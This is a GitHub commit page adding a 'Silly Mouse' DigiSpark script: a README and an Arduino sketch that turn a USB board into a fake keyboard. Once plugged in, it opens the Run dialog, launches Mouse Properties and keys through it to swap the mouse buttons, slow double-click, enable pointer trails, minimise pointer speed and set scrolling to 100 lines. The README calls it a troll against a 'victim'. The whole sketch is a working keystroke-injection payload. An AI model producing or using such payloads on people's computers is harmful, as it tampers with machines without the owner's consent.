forked from CedArctic/DigiSpark-Scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request CedArctic#37 from Vel1khan/master
Add Silly_Mouse script
- Loading branch information
Showing
2 changed files
with
104 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
# Silly Mouse script | ||
Why? Because why not? This is the ultimate troll that messes with your victim's mouse settings to unbearable levels. | ||
Inspired by Caleb Hutchinson's Silly Mouse Ducky Payload from hak5darren/USB-Rubber-Ducky, ported to Windows 10 and made better. | ||
|
||
# This script does the following: | ||
1. Opens Mouse Properties | ||
2. Switches primary and secondary buttons | ||
3. Changes double-click speed to slow | ||
4. Displays pointer trails | ||
5. Decreases pointer speed to lowest possible setting | ||
6. Increases Vertical Scroll increment to 100 lines | ||
|
||
# Credits | ||
- Vel1khaN |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,90 @@ | ||
//This DigiSpark script messes with your target's mouse settings to annoying levels | ||
//Tested on Windows 10 with English(US) keyboard layout | ||
//Created by Vel1khan | ||
|
||
#include "DigiKeyboard.h" | ||
void setup() { | ||
#define KEY_TAB 43 | ||
#define KEY_ARROW_RIGHT 0x4F | ||
} | ||
|
||
void loop() { | ||
DigiKeyboard.sendKeyStroke(0); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.print("main.cpl"); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.sendKeyStroke(KEY_ENTER); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.sendKeyStroke(KEY_SPACE); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_SPACE); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_SPACE); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.sendKeyStroke(KEY_TAB); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.print("100"); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.sendKeyStroke(KEY_ENTER); | ||
for(;;){ /*empty*/ } | ||
} |